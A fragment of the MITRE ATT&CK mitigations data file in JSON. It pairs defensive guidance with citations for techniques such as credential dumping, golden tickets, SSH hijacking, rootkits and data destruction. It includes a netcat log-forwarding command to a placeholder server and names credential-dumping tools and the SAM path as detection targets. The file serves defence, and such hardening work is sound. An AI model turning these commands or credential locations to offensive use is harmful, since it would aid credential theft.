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                    "source_name": "Microsoft Install Password Filter n.d",
                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
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            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)",
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                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.",
                    "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory"
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            "description": "Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.",
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                    "source_name": "Microsoft MS14-025",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.",
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            "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1212",
                    "external_id": "T1212"
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "source_name": "TechNet Moving Beyond EMET",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
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                    "source_name": "Wikipedia Control Flow Integrity",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Query Registry Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
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            "name": "Login Item Mitigation",
            "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).",
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            "name": "Setuid and Setgid Mitigation",
            "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.",
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                    "external_id": "T1223"
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                {
                    "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016",
                    "description": "Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.",
                    "url": "https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913"
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            "modified": "2025-04-18T17:59:41.389Z",
            "name": "Compiled HTML File Mitigation",
            "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
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            "created": "2019-03-14T20:17:16.234Z",
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                    "url": "https://attack.mitre.org/mitigations/T1488",
                    "external_id": "T1488"
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                {
                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
                },
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "modified": "2025-04-18T17:59:41.583Z",
            "name": "Data Destruction Mitigation",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1084",
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                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "NSA MS AppLocker",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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            "name": "Exploitation of Remote Services Mitigation",
            "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.",
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                    "source_name": "applescript signing",
                    "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.",
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            "name": "AppleScript Mitigation",
            "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing  (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "SpectorOPs SettingContent-ms Jun 2018",
                    "description": "Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019.",
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            "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "description": "Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries. By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data. This mitigation can be implemented through the following measures:\n\nCentralized Log Management:\n\n- Configure endpoints to forward security logs to a centralized log collector or SIEM.\n- Use tools like Splunk Graylog, or Security Onion to aggregate and store logs.\n- Example command (Linux): `sudo auditd | tee /var/log/audit/audit.log | nc <remote-log-server> 514`\n\nRemote File Storage Solutions:\n\n- Utilize cloud storage solutions like AWS S3, Google Cloud Storage, or Azure Blob Storage for sensitive data.\n- Ensure proper encryption at rest and access control policies (IAM roles, ACLs).\n\nIntrusion Detection Log Forwarding:\n\n- Forward logs from IDS/IPS systems (e.g., Zeek/Suricata) to a remote security information system.\n- Example for Suricata log forwarding:\n`outputs:\n  - type: syslog\n    protocol: tls\n    address: <remote-syslog-server>`\n\nImmutable Backup Configurations:\n\n- Enable immutable storage settings for backups to prevent adversaries from modifying or deleting data.\n- Example: AWS S3 Object Lock.\n\nData Encryption:\n\n- Ensure encryption for sensitive data using AES-256 at rest and TLS 1.2+ for data in transit.\nTools: OpenSSL, BitLocker, LUKS for Linux.",
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            "description": "Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n\nDeploy Web Proxy Filtering:\n\n- Use solutions to filter web traffic based on categories, reputation, and content types.\n- Enforce policies that block unsafe websites or file types at the gateway level.\n\nEnable DNS-Based Filtering:\n\n- Implement tools to restrict access to domains associated with malware or phishing campaigns.\n- Use public DNS filtering services to enhance protection.\n\nEnforce Content Security Policies (CSP):\n\n- Configure CSP headers on internal and external web applications to restrict script execution, iframe embedding, and cross-origin requests.\n\nControl Browser Features:\n\n- Disable unapproved browser features like automatic downloads, developer tools, or unsafe scripting.\n- Enforce policies through tools like Group Policy Management to control browser settings.\n\nMonitor and Alert on Web-Based Threats:\n\n- Use SIEM tools to collect and analyze web proxy logs for signs of anomalous or malicious activity.\n- Configure alerts for access attempts to blocked domains or repeated file download failures.",
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                {
                    "source_name": "Wikipedia HPKP",
                    "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning"
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                {
                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
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            "name": "Install Root Certificate Mitigation",
            "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
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            "name": "Limit Software Installation",
            "description": "Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n\nApplication Whitelisting\n\n- Implement Microsoft AppLocker or Windows Defender Application Control (WDAC) to create and enforce allowlists for approved software.\n- Whitelist applications based on file hash, path, or digital signatures.\n\nRestrict User Permissions\n\n- Remove local administrator rights for all non-IT users.\n- Use Role-Based Access Control (RBAC) to restrict installation permissions to privileged accounts only.\n\nSoftware Restriction Policies (SRP)\n\n- Use GPO to configure SRP to deny execution of binaries from directories such as `%AppData%`, `%Temp%`, and external drives.\n- Restrict specific file types (`.exe`, `.bat`, `.msi`, `.js`, `.vbs`) to trusted directories only.\n\nEndpoint Management Solutions\n\n- Deploy tools like Microsoft Intune, SCCM, or Jamf for centralized software management.\n- Maintain a list of approved software, versions, and updates across the enterprise.\n\nMonitor Software Installation Events\n\n- Enable logging of software installation events and monitor Windows Event ID 4688 and Event ID 11707 for software installs.\n- Use SIEM or EDR tools to alert on attempts to install unapproved software.\n\nImplement Software Inventory Management\n\n- Use tools like OSQuery or Wazuh to scan for unauthorized software on endpoints and servers.\n- Conduct regular audits to detect and remove unapproved software.\n\n*Tools for Implementation*\n\nApplication Whitelisting:\n\n- Microsoft AppLocker\n- Windows Defender Application Control (WDAC)\n\nEndpoint Management:\n\n- Microsoft Intune\n- SCCM (System Center Configuration Manager)\n- Jamf Pro (macOS)\n- Puppet or Ansible for automation\n\nSoftware Restriction Policies:\n\n- Group Policy Object (GPO)\n- Microsoft Software Restriction Policies (SRP)\n\nMonitoring and Logging:\n\n- Splunk\n- OSQuery\n- Wazuh (open-source SIEM and XDR)\n- EDRs\n\nInventory Management and Auditing:\n\n- OSQuery\n- Wazuh",
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            "name": "Sudo Mitigation",
            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
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            "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
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            "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
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            "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
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                    "source_name": "Cisco Umbrella DGA Brute Force",
                    "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.",
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                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
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            "name": "SSH Hijacking Mitigation",
            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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            "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)",
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            "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "description": "Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`) \n\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`) \n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.",
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                    "url": "https://attack.mitre.org/mitigations/M1038",
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                    "url": "https://attack.mitre.org/mitigations/T1201",
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                    "source_name": "Microsoft Password Complexity",
                    "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements"
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            "name": "Password Policy Discovery Mitigation",
            "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)",
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            "description": "Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access. This involves restricting access to credential storage mechanisms, hardening configurations to block credential dumping methods, and using monitoring tools to detect suspicious credential-related activity. This mitigation can be implemented through the following measures:\n\nRestrict Access to Credential Storage:\n\n- Use Case: Prevent adversaries from accessing the SAM (Security Account Manager) database on Windows systems.\n- Implementation: Enforce least privilege principles and restrict administrative access to credential stores such as `C:\\Windows\\System32\\config\\SAM`.\n\nUse Credential Guard:\n\n- Use Case: Isolate LSASS (Local Security Authority Subsystem Service) memory to prevent credential dumping.\n- Implementation: Enable Windows Defender Credential Guard on enterprise endpoints to isolate secrets and protect them from unauthorized access.\n\nMonitor for Credential Dumping Tools:\n\n- Use Case: Detect and block known tools like Mimikatz or Windows Credential Editor.\n- Implementation: Flag suspicious process behavior related to credential dumping.\n\nDisable Cached Credentials:\n\n- Use Case: Prevent adversaries from exploiting cached credentials on endpoints.\n- Implementation: Configure group policy to reduce or eliminate the use of cached credentials (e.g., set Interactive logon: Number of previous logons to cache to 0).\n\nEnable Secure Boot and Memory Protections:\n\n- Use Case: Prevent memory-based attacks used to extract credentials.\n- Implementation: Configure Secure Boot and enforce hardware-based security features like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization).",
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                    "source_name": "NIST 800-63-3",
                    "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.",
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            "name": "Brute Force Mitigation",
            "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
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            "name": "LLMNR/NBT-NS Poisoning Mitigation",
            "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)",
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            "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.",
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                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Timestomp Mitigation",
            "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1087",
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                    "source_name": "UCF STIG Elevation Account Enumeration",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Account Discovery Mitigation",
            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "OWASP Top 10 2017",
                    "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.",
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            "description": "Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
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            "name": "Environment Variable Permissions",
